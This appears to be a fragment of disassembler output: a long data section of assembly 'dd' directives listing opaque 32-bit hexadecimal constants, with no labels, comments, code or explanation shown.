		dd 0C05C0C04h, 0E2DFB5F0h, 7D00AD0Bh, 0F5A9AAA2h, 3D9B5961h
		dd 14934A3Ch, 0F47422BAh, 372C5885h, 57583880h,	0DCD002DBh
		dd 6BFF784Dh, 533C1064h, 30C52670h, 481FB901h, 84345925h
		dd 1C894C7Bh, 6116189Fh, 31E0B33Ch, 200562E0h, 0E14C9B26h
		dd 1030B085h, 24464A1h,	4AC7F958h, 38806C01h, 67CF6157h
		dd 53C1D61Fh, 92E15280h, 0C0E951D9h, 0B5D11F08h, 2D00719Bh
		dd 37F5D860h, 2E5F7F98h, 6D52A89h, 697A3603h, 82F9C880h
		dd 24E83C06h, 8340CA60h, 0C7408608h, 217176C8h,	0FC88AE09h
		dd 15005229h, 0B264256Bh, 59A90Fh, 0A708DE87h, 0CDD73FBh
		dd 6A97AA17h, 0B7881021h, 0D8524812h, 0CE0B9900h, 0F3F62A4Bh
		dd 577E74h, 3469EC14h, 0D988414Eh, 1002FFAh, 5D47B8E3h
		dd 0CB59B58Dh, 44937F90h, 0B0AC20E5h, 5800F98Eh, 5A558B2Fh
		dd 3A93FD6Fh, 0FF81A6D0h, 62CE76BEh, 0F4CFD0B8h, 8B3EB47Bh
		dd 0D21D01D1h, 8394A9B0h, 7821B181h, 2928ABFAh,	81F53A14h
		dd 23E99568h, 6C606673h, 2A7CE00Ch, 9CC220Bh, 7D1C0499h
		dd 2806D403h, 1D1299B6h, 3423FEFCh, 340A42Ah, 8F3C8835h
		dd 21FCC530h, 6144482h,	6C830D02h, 84947801h, 53FEC240h
		dd 3C7726h, 7ABB1F02h, 6A965D38h, 5694C610h, 0DD839701h
		dd 70AA99BEh, 89F2CD80h, 296F5701h, 0EFAC2B84h,	0B07A860h
		dd 8FA9CF8Ah, 2127E490h, 939AC016h, 0A0A4944Bh,	0C6B48FFCh
		dd 302552DDh, 77C06C4Ch, 0DC4D1D28h, 2D52AB1Dh,	5FB9F040h
		dd 32677622h, 0FF82949h, 88380720h, 0C88F213Fh,	5214790h
		dd 7BFE0781h, 0B04132C3h, 41801D47h, 25CCF409h,	0AD1C35D1h
		dd 0DD80115Ch, 0ECD95EC1h, 7F781B5Ah, 0FD819845h, 3E407482h
		dd 4DB9F209h
		dd 54DCC847h, 3F3E0E6h,	4012B1CAh, 46E8BE91h, 0A4241DCCh
		dd 0A43ACC49h, 831C24F6h, 309AA51h, 9C031F37h, 2012750Ah
		dd 0F8CDCF8Bh, 50EEB830h, 0F1E9948Fh, 1AF9189Eh, 840F9899h
		dd 7B6E4C22h, 8C916562h, 23ED101Bh, 0FD4400E0h,	8D950BC7h
		dd 51001EBDh, 0A280372Fh, 24EA34h, 4E3152B5h, 5F47C319h
		dd 3B55C400h, 865C6980h, 8FE90161h, 70CA9BC2h, 61CFF357h
		dd 0F0D31213h, 0E60FB092h, 0C2E83410h, 52A7906Dh, 49615C28h
		dd 1A2ED700h, 0F6260869h, 0C02C2D01h, 8B9BFC39h, 0F7207024h
		dd 32A17011h, 0B2E200C0h, 0A0FD91F4h, 4B2C0343h, 0E018075h
		dd 0CB8B49A0h, 3C0A73Fh, 4369151Eh, 10A4AF20h, 6CA03494h
		dd 9C868AAEh, 0A8715911h, 0E744A1C0h, 395E678h,	207DE042h
		dd 0D890F809h, 7B0EFF72h, 0B4753757h, 0ACFCC1F4h, 39C80409h
		dd 6C78B4h, 0D1880A28h,	4DEB46DFh, 85CFD20Ah, 84284493h
		dd 9099C100h, 4F6FBFABh, 96A912C0h, 40942438h, 43610648h
		dd 50030F63h, 7BBBE095h, 2D0AE8E3h, 7976187Ah, 1EE7986Fh
		dd 0D891BE81h, 608A0E02h, 0D77C846Fh, 88157488h, 12002B89h
		dd 4BE5919Dh, 4AC89328h, 7B5C0017h, 3AD670BAh, 80CDC10Bh
		dd 0CA0485EEh, 4F8BF490h, 8EF1627h, 0F7BC32C0h,	0B4A67064h
		dd 0D87008C0h, 1C5AA06h, 97F11FAFh, 3C4E87B9h, 4C837918h
		dd 0EFC0B439h, 0F34C097Ch, 3411C400h, 0CB77821Dh, 0DC700019h
		dd 56EBAE8Dh, 18134E8Eh, 0DC078A0Dh, 85AB970Fh,	0CA27BECh
		dd 0CC8F834h, 0B7F91EC5h, 384A2500h, 589CEC86h,	97E602A4h
		dd 57DB1978h, 7A37C881h, 0A8083459h, 14FEE802h,	64C38F83h
		dd 43749628h, 97D1513Dh, 0C688D411h, 0BC124B0Fh, 96084C9h
		dd 4C8810C4h, 0A9282D68h, 0B0AE04A0h, 923C76ECh, 39AC8114h
		dd 0F7593512h, 1C38460h, 8828C2FBh, 60600723h, 54C1D08h
		dd 162180F4h, 2339D55h,	7C896FD8h, 0EC702E57h, 2E7B9122h
		dd 4330807Ah, 89489AAAh, 87B24F4h, 48449448h, 3EE3F0A4h
		dd 6E04C4B2h, 0C524652Ah, 18C8080Ch, 0A9256CACh, 7AE80274h
		dd 605948h, 98D274F9h, 0B701C243h, 0BB93EF6Ch, 206C9F28h
		dd 340C5B00h, 0C48F4388h, 4B90D099h, 1CC8E53Ah,	0A17722C0h
		dd 0B92CFEA2h, 60AF3BFh, 0C42A81Eh, 0D524C127h,	0A09D7CF4h
		dd 0F898CD74h, 0CCA3175Ah, 1D7C70E2h, 7077065h,	8B8D7C39h
		dd 76440B11h, 888F9C41h, 23879010h, 0C47A572Ch,	0CF10E2BEh
		dd 34440970h, 5E2EF10Fh, 0A88E409Dh, 0E8EB69h, 0D589BF96h
		dd 0F5A08224h, 0C2980C51h, 1C25B520h, 27520463h, 88C208F1h
		dd 0D1011EA0h, 34BA7E83h, 8C39A82Bh, 0BE393A00h, 79DAEC4Fh
		dd 0D123E02h, 62B7BFD4h, 0C37C8294h, 14A079A4h,	0F7A0E8A9h
		dd 0CB00F0DAh, 2246A4ACh, 0A5359ECh, 0C308F227h, 20FA9040h
		dd 9A883AB2h, 0FE4204Bh, 1232B89Dh, 29247085h, 0C4234184h
		dd 70F8C08Eh, 17071F28h, 1A05BAD2h, 2106044Fh, 0C218B4h
		dd 0E05A2061h, 595E8127h, 48C90900h, 0BFF645A6h, 37FC2E0Fh
		dd 11219F70h, 0C39001Eh, 8ADA6B9Ah, 0CB1B07AAh,	201CCCA1h
		dd 8E4F7FC3h, 0C826D113h, 5F738402h, 470527h, 0B47CD620h
		dd 5D035409h, 0C5BDA646h, 8E660274h, 5CF31389h,	4007EC85h
		dd 0FA6C7A78h, 4D24ED95h, 200034B4h, 18D9CBDFh,	0EB610276h
		dd 827B6F7Dh, 0AA273CD2h, 10701395h, 45ABB58h, 2705DC03h
		dd 481DBCC8h, 0B8830802h, 1978C8EEh, 5A7A3613h,	703D685Eh
		dd 68F60201h, 135EBF95h, 0BCB386FCh, 40804460h,	8C796184h
		dd 0A92F005Fh, 0ED75DF89h, 283D9793h, 0F7D1BAC0h, 80156100h
		dd 6A0F1C4Fh, 0E3132684h, 883A0012h, 77B48BC9h,	6700D67Ch
		dd 3C5F8028h, 0B2FB98F5h, 11BF05DFh, 13A68C04h,	0BA50309Dh
		dd 70EBF8F7h, 2D00E6ECh, 7C1CC980h, 52FEEF6Eh, 0BE00C883h
		dd 0BFB6D508h, 80A4011Dh, 0CAECAC10h, 8EAB0880h, 5478322Fh
		dd 4050D248h, 1A242708h, 636F8C2Dh, 98222A6Dh, 18097B12h
		dd 4978F7EEh, 4C00D316h, 0C85BB3DDh, 8F58A1h, 9278E391h
		dd 6459BC3Ch, 0F8A6B8B0h, 59155137h, 40299782h,	18632CD4h
		dd 19146280h, 31C07EF7h, 166B95A1h, 317E36h, 8D2CF611h
		dd 8963D497h, 1DB990A0h, 58A0806h, 141DE24h, 6C32D070h
		dd 0C4200F84h, 0D313AD4Eh, 6010EB7Bh, 22481840h, 97B131h
		dd 0BBBA2B8Ah, 0C0F46C1Bh, 0CFA9C900h, 537C90A8h, 0E04F5FD2h
		dd 0B900E73Ah, 94F3988Fh, 0F508474h, 58632451h,	0FAE2EBFh
		dd 80ABA9B9h, 5375BC60h, 5879971Eh, 0D295D2h, 8A205927h
		dd 41D4FD1Dh, 0E5785720h, 15010746h, 0DC62C983h, 0C0D78812h
		dd 6F4F6EE4h, 80878C24h, 0B0FF806Fh, 98297112h,	1D2E44E0h
		dd 6118FE35h, 132584A2h, 15005FD4h, 0E0C9EE5Ch,	0DD4E0068h
		dd 0B6102E54h, 0DF09D71Dh, 1E438A7h, 6C9AA994h,	0B1297863h
		dd 6BDB40A4h, 391CEB1Bh, 0D9C06D21h, 0F42F1274h, 0F2B90025h
		dd 5EC031A2h, 10D8F11h,	0B87FA324h, 8A80F838h, 7482B91Bh
		dd 0E562C00h, 7FA16DA8h, 0D3782CDEh, 9F890840h,	0CC915B81h
		dd 421A2B7h, 5294AAC0h,	8A00B09Ah, 0C7CA1D70h, 49048FBFh
		dd 0DDBA046Bh, 25F61482h, 3C28E4F7h, 95E77A00h,	37024478h
		dd 18420082h, 0A66AE812h, 0CC249F1Fh, 7002F0EDh, 4030A4E1h
		dd 7846D0DCh, 0B0050024h, 92123FBFh, 44E41FCFh,	8D57D302h
		dd 70F7CA01h, 944752ACh, 6A7FA407h, 709B20BEh, 0B21D1C79h
		dd 57C32673h, 0B392C43Ah, 2EE9DE4Ch, 9E70639Fh,	0E672C03Ch
		dd 1FB5419Dh, 0E48C7E00h, 543FC19Bh, 42925AA9h,	0F64E273Ch
		dd 0BFBDB7C0h, 8A336003h, 0C70634A2h, 212FAA4Ah, 68497334h
		dd 9CCE4h, 0BEC05BFCh, 51484F20h, 0A508A21Ch, 0D42848E2h
		dd 98476E00h, 90A9598Fh, 4E277644h, 5DE441A8h, 0CC6DB9E4h
		dd 778D2B1h, 0E3ED1613h, 0FFA4804h, 0C2011851h,	0E790D9F9h
		dd 0E47FD42Eh, 8E06DB04h, 1CD45447h, 1A78D3h, 781C7B04h
		dd 0CEC0134Dh, 59F5C11Fh, 0F15184F8h, 74A68399h, 0ECB82A00h
		dd 408171C6h, 0A707E700h, 89979886h, 3088A4B2h,	7317AF7h
		dd 18006856h, 918CA4B4h, 3986575h, 0FCDDB2F6h, 9EB22B77h
		dd 0D0C84872h, 11A4A618h, 0D7DC001Ch, 68896B72h, 0AC3C00A2h
		dd 0C9168DF7h, 4CF29099h, 0AA21290Bh, 3590489Ch, 68BF4856h
		dd 0CEA38710h, 75100Eh,	32179078h, 7FF05FDEh, 56410400h
		dd 0CEF13489h, 5B3A7016h, 13A80037h, 506EDD09h,	0E2665503h
		dd 88FC779Ah, 0B0383CB2h, 7A7B44A0h, 5C227E4Ah,	74061096h
		dd 71847217h, 742A6497h, 43531A01h, 0CC3C9BAAh,	2DD81110h
		dd 0DEBC2047h, 38ECF9FAh, 498053CCh, 0DC502E08h, 8B04DFC0h
		dd 7D7A8F3Dh, 1BFD0A4h,	8EB20976h, 0DE8A2270h, 98A6E878h
		dd 54BA7900h, 0A41A3453h, 9C74FCh, 372BD427h, 5035D2DFh
		dd 0CD806C99h, 0A94143F4h, 31B4006Bh, 27753365h, 2F00D35Dh
		dd 3A38FAB2h, 0C9A09981h, 0BC73EE88h, 433E8483h, 0C68EA016h
		dd 4A62005Bh, 0CB28F7C5h, 0CEF0487Ah, 800060B9h, 41750361h
		dd 0B20F0AD3h, 908497Fh, 2468A16Ah, 0E1028AEFh,	0F76D5482h
		dd 0B00858EEh, 297B12D0h, 32B8B4A0h, 62262A00h,	557624FAh
		dd 3D5000F5h, 81E2071h,	1D240637h, 3808C80h, 90C76C38h
		dd 1EC03C94h, 2714407h,	3057E510h, 800907C8h, 0B113741Dh
		dd 0A7C3834Eh, 0C1E0F505h, 2FFCBF9Dh, 2C80B8DDh, 8F3284Ch
		dd 3822BC4Eh, 1C501AD3h
		dd 0A67C7B1Ah, 8AF4D321h, 17ACBA57h, 0D3A02CAEh, 0DCC41B01h
		dd 7B89F1D9h, 4A481FD0h, 7728C8A9h, 0D734B904h,	0E890BF90h
		dd 2EA897EFh, 40105F7Fh, 21FCC891h, 55631C19h, 202A2770h
		dd 89F806B4h, 0AC92702Ch, 51010211h, 36086FF6h,	7CF8205Ah
		dd 5731BE64h, 0D215BC87h, 94D0C718h, 838B8860h,	0C35F3B12h
		dd 4405A8F0h, 540521FDh, 6DB62808h, 0FDC88CCh, 4FF04E97h
		dd 0D987B72Bh, 0BE608FABh, 0C6408360h, 64145228h, 999D8F03h
		dd 8338D9A9h, 82C5C255h, 429C8908h, 1005A20h, 0AC070BE5h
		dd 0C40F68AEh, 6EF4A47Ah, 92258827h, 40205628h,	676AFA9Ch
		dd 3400BAB8h, 406D7E1Eh, 4CA8D08h, 0DA5A5C1Fh, 24B7C1F2h
		dd 889BEB21h, 0AD8B84F8h, 0FC1BCD03h, 0D5A68CF5h, 600068A2h
		dd 0A355BB5Fh, 5D0089B3h, 9DC29462h, 917A363Bh,	8C1F18h
		dd 37CCE773h, 0EC02FBAFh, 0F6335925h, 7368A070h, 1D3161C3h
		dd 777E80Ch, 37CFEB52h,	28BAF28Fh, 0E76590C1h, 732790BFh
		dd 0C704C056h, 0BBBFD9EFh, 219F3082h, 72CB6558h, 0D88801A0h
		dd 82F4FE0Ch, 952C442Fh, 0C1D566Dh, 3820F897h, 148EFDh
		dd 0EC525F30h, 0E63BCB4h, 40019B7Eh, 202F655Dh,	5879D448h
		dd 46563809h, 0E7D1490h, 7EE5390Eh, 48D460DEh, 1E17497h
		dd 528A9813h, 7388296Ah, 205BD0h, 0A0A580h, 9B2D642Ch
		dd 0BC99CB15h, 6632312h, 0FBA77805h, 1822A835h,	0FA884095h
		dd 0D735E97h, 69A0B80Ch, 3A5E00A8h, 2396111Bh, 0BC740057h
		dd 47916AC1h, 0AA301C2Dh, 2810299Eh, 78C75820h,	202BBC55h
		dd 0F507FA8h, 4BA3B700h, 2941138h, 0D4670A56h, 42091A9h
		dd 0A0C52030h, 16422664h, 1F1FFA21h, 9002E112h,	0A46ADF13h
		dd 0BF407380h, 0C487F3EEh, 3BE82F00h, 0BB9E42C5h, 742C1D71h
		dd 0F90E78E5h, 4B248B6Eh, 98B8F03Dh, 86117F42h,	3FBF2C9Ch
		dd 63830C07h, 991F69FFh, 64300658h, 9C5B5095h, 0B432F71Dh
		dd 8FC12101h, 0BE2ED5A9h, 0E478C518h, 0AD182575h, 0A1072466h
		dd 39DB33A2h, 2CFAAF00h, 0C37A00F9h, 0F68FC7BFh, 7802F192h
		dd 52C058A2h, 794042FFh, 809364h, 0DD1F2F41h, 56125097h
		dd 8CD09DA9h, 99194D8Bh, 0E1A0810Ch, 0C14F57BEh, 46C8E158h
		dd 97423808h, 2B87940Eh, 25B0714Ah, 0CC009C12h,	8DE275ABh
		dd 80A5D83Dh, 31F7638Ah, 0B00D59BEh, 40E0B9FCh,	0C5840558h
		dd 53439E00h, 0C335A739h, 0DD6E0F5Fh, 0CEEF6101h, 4AB39A4Fh
		dd 64C894FCh, 0A828607Eh, 2F11C0B2h, 77615B80h,	9A8CD600h
		dd 164268CCh, 0A51C01BBh, 89D4CE55h, 40BC592Ch,	84F84ED4h
		dd 694D188h, 5D4C482h, 69F85924h, 8AA0295Bh, 65045BFEh
		dd 0A9FCA01Ch, 32478001h, 0E02B8828h, 308C163Eh, 585560F8h
		dd 0F112EC00h, 4AACF323h, 0A75101F0h, 4F8FCA4Dh, 3C54EC47h
		dd 87240615h, 0F91D0EBCh, 0F0F6920Ah, 5FB1F402h, 68E157D5h
		dd 0B363F239h, 1C6B3821h, 0B8132205h, 64C892A9h, 144A357Fh
		dd 1FCCE0D9h, 91633C01h, 57698DD7h, 7F7D6E0h, 8F2FDA37h
		dd 0AFF61020h, 260487B2h, 0CAEC5028h, 17000A9h,	0B90FF4D0h
		dd 4496A957h, 8074AC78h, 71F7247Dh, 0ED831DC8h,	99B5421Eh
		dd 505CB004h, 9F47B80Fh, 5114C8A7h, 0B19703F4h,	0CB76BE5Ah
		dd 80094CBh, 396F7526h,	12975F88h, 89AA89BDh, 0EE4800ACh
		dd 15385EAFh, 0D78F89A7h, 38D2A0h, 685A7CD6h, 0C4734C19h
		dd 0B91C5315h, 3B9B0010h, 45D15AF0h, 2C84E9BFh,	0B4A7DC5Ch
		dd 0D0008C20h, 0BCB60526h, 7319CEF8h, 909AF4FEh, 0D67D174Ch
		dd 0C6F0700Fh, 0ED003E94h, 9EE56C27h, 2693EF0Eh, 177AD6C0h
		dd 7A44095Ch, 837B7782h, 93109051h, 8BF52880h, 6E4E031Dh
		dd 0BF20B081h, 0F902830h, 0B83C24D1h, 0E00C3017h, 2F381A05h
		dd 0D3860016h, 834B3F72h, 6327827h, 9B20476Dh, 184AB03Eh
		dd 207CC822h, 0C88A7B27h, 2933C93Eh, 8E124495h,	0A2992C04h
		dd 479AAC00h, 0C4647F7Bh, 0DCC2B598h, 0A4A0247Eh, 1400C548h
		dd 4B33AAEh, 2406494Ch,	84B8861Dh, 0E27F7A03h, 2E4C01B4h
		dd 8B4F2106h, 34238461h, 661F0F00h, 90A6C7D2h, 48EFF102h
		dd 7C2B4CC1h, 5980306Ch, 132F081Dh, 0F4E8309Fh,	0C1523C29h
		dd 567C5500h, 0EDFED8D4h, 0E24C8E3Eh, 0B833E90h, 0E0090464h
		dd 806DEBD7h, 29A303E9h, 8F840058h, 0CC439AB9h,	0F818B018h
		dd 0F7B00E4Ch, 0A0038089h, 4CA30825h, 0C9790040h, 900C13A7h
		dd 0A301228Fh, 0CAE7BD2Dh, 7EFE3864h, 2FD2408Ch, 5B091521h
		dd 7C8495h, 0A6CDA2F0h,	46ED428h, 989DD913h, 0B07846Ch
		dd 0A3CA9892h, 0F8B859A0h, 2C61078Eh, 45B5C791h, 1C6F8203h
		dd 0A0E8B4F2h, 20475327h, 0B9420724h, 13C800DDh, 571636C0h
		dd 0F7132CBBh, 14A4B70Bh, 720A024h, 68800721h, 0C41FBA91h
		dd 252881D7h, 849A1111h, 1A000608h, 572128D9h, 91F9599h
		dd 0DF54C32Ch, 50059C50h, 5AB6CDA9h, 0F0CCBC85h, 166077C0h
		dd 8FEED1h, 86154ACh, 54B0F844h, 90EDBA00h, 785A593Ch
		dd 0C00E41CFh, 6D69830Dh, 70108C70h, 0D76100C0h, 7D958ECh
		dd 0E0724AAh, 8A4580BEh, 2C25440Fh, 48A74ECh, 743D80C8h
		dd 0B4C0ED0h, 8647D900h, 66F982BBh, 988BF2D3h, 0EEED078Ch
		dd 2716908Ah, 67F7931Fh, 98127F0h, 7AE6A801h, 7882D08h
		dd 841C0D1h, 1440CF20h,	1E161F28h, 2D0596EFh, 0FC001C6Ah
		dd 294298A3h, 0F91BEE3h, 21631420h, 0E8375692h,	1088030h
		dd 537882E5h, 2167EE3Fh, 889828C8h, 0FD2FCE95h,	2CA1E820h
		dd 0EE00C660h, 0F7F3D8C8h, 1C425546h, 45E6EB4h,	987B6862h
		dd 92193FCCh, 0A70858EFh, 0E30C402Ah, 4A73F6AAh, 0BB76A00h
		dd 0B23F9966h, 0C1071602h, 5D4A1D3Dh, 85F0C3Eh,	36171308h
		dd 8890597Ah, 25F20709h, 8C469EAh, 19544402h, 0C04AC38Ch
		dd 130E02h, 14EA1DDh, 396465B8h, 83A61A02h, 54624333h
		dd 0D030DA4h, 5C213E41h, 433017B9h, 298300F4h, 4E2140F3h
		dd 0E40EE78Fh, 0CC2389BAh, 95FF417Fh, 56B59C21h, 540E3B93h
		dd 0C003088h, 38CF7BC1h, 0E14CFF75h, 2BC2C014h,	7C551CEBh
		dd 0C3300022h, 7F4042E6h, 4177EE0Eh, 78DE1B00h,	0E4345DB6h
		dd 1A1F0527h, 20A88B5Fh, 0ECD922D4h, 0BB975D28h, 8FA98C13h
		dd 2029BC20h, 0A0C3125Ah, 8608A0F0h, 0B442A145h, 838B2088h
		dd 0B324323h, 99FDD00Ch, 7710AC88h, 0F758ED3Ah,	0F85C009Bh
		dd 9D024625h, 0CDA948A6h, 8AAFE300h, 9B9156D0h,	2427FC0Ah
		dd 368E5463h, 553AE0D9h, 9DFFAA4h, 0AC27E059h, 0C1C0E004h
		dd 317AD004h, 5B3196B1h, 4E62F41Fh, 0F6D440A8h,	54A902EAh
		dd 0D4CD2A01h, 0CAA0456Dh, 50AAF2DCh, 8B022446h, 0A0DA9BD2h
		dd 7C9989F8h, 0C0D04817h, 98C24Ah, 5FDF0C73h, 0E9189360h
		dd 63B98A0h, 64262827h,	221142D4h, 0BBAC00A5h, 9ACE0C97h
		dd 9C002BF9h, 4828D66Ch, 4AD7AD2Ch, 0EC94D047h,	0DF005B3Dh
		dd 0E86BE283h, 68A7D40Dh, 6094E08Eh, 316A9AC5h,	643A300h
		dd 54932C12h, 78B44C36h, 0B76D8000h, 70B57DC4h,	10B7B7B0h
		dd 988F9978h, 0B70D1658h, 0F12020A7h, 1401C8A0h, 12CF0FA9h
		dd 0E7FC8B9Eh, 20EE4BE5h, 794E2C1Ch, 0ED89C400h, 8233AAB5h
		dd 34E501B8h, 1E29C9BBh, 744CFDC7h, 0DD3073FCh,	0F2206857h
		dd 772A0103h, 15023A07h, 7B4C70C0h, 7A37AF0Ah, 483E507Eh
		dd 93BC908Ch, 2190780Ch, 932717B5h, 0D858A1B7h,	0F74A788Ah
		dd 45C4DC40h, 965C0Eh
		dd 294D72B7h, 8F5274Eh,	22BE5Ah, 1EF41BFDh, 70C74FDh, 28DA0F1Fh
		dd 34922788h, 66002413h, 2E40691h, 5B8566h, 8128C16Ch
		dd 2FAB932Bh, 1C84BCA2h, 201D22B2h, 43B1FB86h, 3928C900h
		dd 85C5D8B6h, 488B9029h, 942D7092h, 0E04B460h, 842171C9h
		dd 84081ACh, 0E32BC0D7h, 61F450Eh, 0DCE273F6h, 3D070C38h
		dd 0F9942C83h, 6F0764F1h, 0F1B5DA64h, 278AC400h, 131BD62h
		dd 0BB3FE78Ch, 0DDE3129Eh, 5D8BF4D1h, 64286F2Fh, 19140038h
		dd 5E65834Ch, 0B9E8AC7Dh, 0AD450C98h, 5EB4202Ah, 42001DC7h
		dd 0F0F39298h, 9E3163Ch, 8A03ACB0h, 1D145464h, 700806h
		dd 802268F0h, 907F303Dh, 0A2973A10h, 8C1161ADh,	644C009Ah
		dd 4C275855h, 0F7541777h, 0B488907Dh, 6FF61B57h, 517FD0FEh
		dd 3962BF00h, 12348A80h, 674F1EEAh, 855C002Eh, 97F7B05Fh
		dd 1104B75Ch, 0A0187696h, 0FF5F9906h, 40FFF574h, 627B16F1h
		dd 0C0B1080Eh, 0FACEA90Ch, 0B5DE0CCh, 0B28A8511h, 0A2BD9002h
		dd 84442466h, 0BEB50127h, 0EB6296Fh, 73991198h,	20785A7Ah
		dd 44000476h, 5C7FEF9Bh, 3C310C9Dh, 75186FF9h, 201A3607h
		dd 172A328h, 602CD4ADh,	0DF13EB15h, 0C6000FECh,	0BF42AC6Bh
		dd 1122495h, 7BA40738h,	0FCB7F5D2h, 0CC920F09h,	18DD5300h
		dd 0E9642546h, 0C2C1008Fh, 0FFD86235h, 0F4B66E4Eh, 0B0258240h
		dd 0F00A01A4h, 2605170Dh, 5E647224h, 0D7959430h, 4C7301D8h
		dd 0E3F9730h, 0BFF5D02Eh, 0F25F4EEh, 4D0C294h, 0FE408590h
		dd 7B6F53BAh, 0D1247E51h, 0E0226F9Ch, 21261188h, 21E84E00h
		dd 0CC2844D5h, 26007D94h, 5EED7CEBh, 4E473205h,	0D1C0D717h
		dd 0C0C76699h, 0F05B15D7h, 0AA8CC8h, 7EA3F4ACh,	2506C4A4h
		dd 0C5BC7100h, 6DDEFF89h, 0DBF2E57h, 0CA82171Ah, 529412D4h
		dd 0CC6EA000h, 99DCFAAh, 0C9FA1FFBh, 921CA881h,	4C90E3D2h
		dd 1500F5ACh, 37F4D160h, 127CFBBFh, 0C8124886h,	0D31DDCF0h
		dd 5D805933h, 0C7C6FFE2h, 135E04B5h, 0CC155B03h, 4A000980h
		dd 0DC6FF8D4h, 134E2DD6h, 0A043AF7Ch, 11EB9254h, 0BC73847Ah
		dd 13054912h, 1EA0B0CCh, 101D3F44h, 179EFFFEh, 4830BFACh
		dd 7126700Dh, 1AFC3A1Fh, 3FE37300h, 256249C1h, 14519005h
		dd 880AD2AEh, 4647B848h, 36BD80CBh, 5B586A79h, 0E760CC1Fh
		dd 65F73400h, 31DE8A8Fh, 3677285Fh, 4C75F8F4h, 154C4357h
		dd 4AAF4800h, 646C9F91h, 40F5FD27h, 620E8h, 0E825CBE3h
		dd 34E2BE28h, 0E1BC831Fh, 11807C4Dh, 8405839h, 0FD1602FBh
		dd 201E0595h, 0FEE0D85Ch, 0E385B4Bh, 0EA9DE01Ah, 80418F24h
		dd 714479D8h, 0A342ACB0h, 8B9A007Eh, 0A5076F90h, 4B1297A2h
		dd 0B89719DDh, 0D6558F82h, 0D5A1400Ch, 91015196h, 9B2BAC88h
		dd 0D46943D4h, 333EB280h, 60FAB17h, 0A05C50BDh,	0BE42A64Fh
		dd 77F60226h, 2094EF59h, 9E043C54h, 780787A5h, 7859896Fh
		dd 7B2FDCA8h, 4890C49Eh, 784499FDh, 452E0E8Ah, 8880FC8Eh
		dd 6409CD50h, 5A14C04h,	60ADA723h, 0BAA50800h, 0BFC0CA1Dh
		dd 0B9606C94h, 277AF89Ah, 54A45C7Dh, 6C4A4013h,	7D55D218h
		dd 4B78BC7Bh, 230AD5F6h, 383C3085h, 0A488CB76h,	990F0083h
		dd 5CC3E6B8h, 0A500FA32h, 86C775F9h, 0B28F62Ah,	31D6BF5h
		dd 2872AA0Bh, 5A297009h, 1C5246h, 0B9B5E555h, 0C9E1736Dh
		dd 67537700h, 0A0F5D6C2h, 7A2B0324h, 29694C76h,	502245CBh
		dd 0DCB9533Eh, 721B1E00h, 1FC092F5h, 0FC91AA74h, 4E03A426h
		dd 8820C76Fh, 164278F9h, 20A16C5Eh, 1F49E07Ch, 6A1DA477h
		dd 1E80ED7Ah, 0AA8883FCh, 0A4D05234h, 9A500170h, 1DBE5870h
		dd 4F4C32FAh, 1B0488h, 0F3E8B52Fh, 1166A089h, 0B02EBA26h
		dd 1487970Bh, 5A73006Ch, 0DC2B5B0Dh, 2E027594h,	47B03B31h
		dd 5350C064h, 927B000Ch, 0FBC4EEDAh, 973B6280h,	0DC580089h
		dd 18FAAD07h, 0D2E1EFA5h, 4EAEC3E0h, 9CA80430h,	808B4088h
		dd 257A9055h, 0C081C97Ch, 3FFF6653h, 88AC8428h,	67F3209h
		dd 46CFBF03h, 0B07CC112h, 193D080h, 0ABEB0C9Eh,	759A751Fh
		dd 0CA34D0CCh, 294FE52h, 508C6D56h, 80187CC6h, 9DB18968h
		dd 21002F28h, 7B22615Bh, 27303682h, 0E046AA20h,	0F842A722h
		dd 0E45F529Eh, 0ECA0A927h, 55A73B82h, 0B1294800h, 5836914Fh
		dd 94435852h, 5100B042h, 3E3A29Ch, 0C70099BEh, 453AEF0Fh
		dd 1F6FED5Ah, 16A02E8Bh, 21FC206Bh, 802E726h, 2CA8CAAh
		dd 602C56F2h, 0C6C74578h, 27B4338h, 5582499Ch, 0ACAC4109h
		dd 408A1F08h, 678C32h, 7C4D20CAh, 93F057B1h, 901FBB02h
		dd 6A061AD4h, 19C7E48h,	0A9786444h, 0E00B219Fh,	512D001h
		dd 18312430h, 693095D7h, 0E8500055h, 0EFB9804Ch, 70F1B681h
		dd 1184FF84h, 206D114Dh, 0F91D2706h, 288470A9h,	7C032316h
		dd 184F26E1h, 960F400Ch, 0A4BB9289h, 0C899BF82h, 53852A7h
		dd 64188EA1h, 4508093h,	0F50035A2h, 0D236C34Dh,	0BCF4AF2h
		dd 42482067h, 7A08D440h, 0FF86F17h, 625B9830h, 0C7161FA8h
		dd 0FC35C072h, 0E58B261h, 5688AD04h, 8EC1EDCEh,	606C4581h
		dd 5065A53Fh, 0EA108847h, 0B2959200h, 0BBD8B110h, 0EF0F263h
		dd 576FA93Ch, 1A9C0C16h, 19482171h, 0D9811263h,	0A43E98A2h
		dd 7773CC80h, 53CE3B61h, 3D7FD00h, 0F7C002EAh, 0F229D367h
		dd 1ABB0040h, 8A1D8E2Ch, 37073F3Fh, 0C10E27h, 0BEA0990Bh
		dd 0C0080278h, 49A16F09h, 498545Bh, 0A2227FC6h,	90BE2D00h
		dd 3456DE8h, 95D47686h,	91A82365h, 90027242h, 0DF662D4Ch
		dd 50D0511Fh, 627631Ch,	0D0642928h, 3F785CECh, 0E0C1C827h
		dd 22061017h, 2CC68A28h, 0DDD57D03h, 0D059444Ch, 7B1D17CDh
		dd 19B11E2Fh, 0AB017ED6h, 0FA5478D2h, 28413E9Eh, 0F1A9FE70h
		dd 0CC60F831h, 50163178h, 7382F521h, 32850090h,	1C1F6297h
		dd 5808024Dh, 7D91A9C1h, 1D6234F4h, 47A05407h, 8938700Bh
		dd 9E749863h, 0A154AA48h, 40704DC6h, 41CECF8h, 733676C0h
		dd 1E90C24Eh, 12169851h, 0ECCF54C2h, 3CCC7E7Ch,	6081D449h
		dd 2D2E6D09h, 0C8A431A1h, 4B2C7D7Bh, 16E49413h,	5041D42h
		dd 0F228A891h, 0A2E29D2Fh, 0FBBC0704h, 0C8264708h, 0CEFF6F82h
		dd 2EF0C4BFh, 0E0807D0Ah, 0CE822280h, 8869E907h, 0B2C0FB2Fh
		dd 0BAA4B03h, 65594A9h,	0F19BFC48h, 0A2A9890h, 9A2E8C11h
		dd 0D806AB92h, 4068DBAEh, 77510EA6h, 0AC4C0154h, 51242025h
		dd 84F02712h, 90FC7C22h, 0B1422B4h, 99A95563h, 6B0000E5h
		dd 9D496966h, 700D48EBh, 0C238F52Ch, 7C6159ACh,	82D42958h
		dd 0F42C2205h, 114F18h,	91F60FCh, 0D58F28h, 484F81E2h
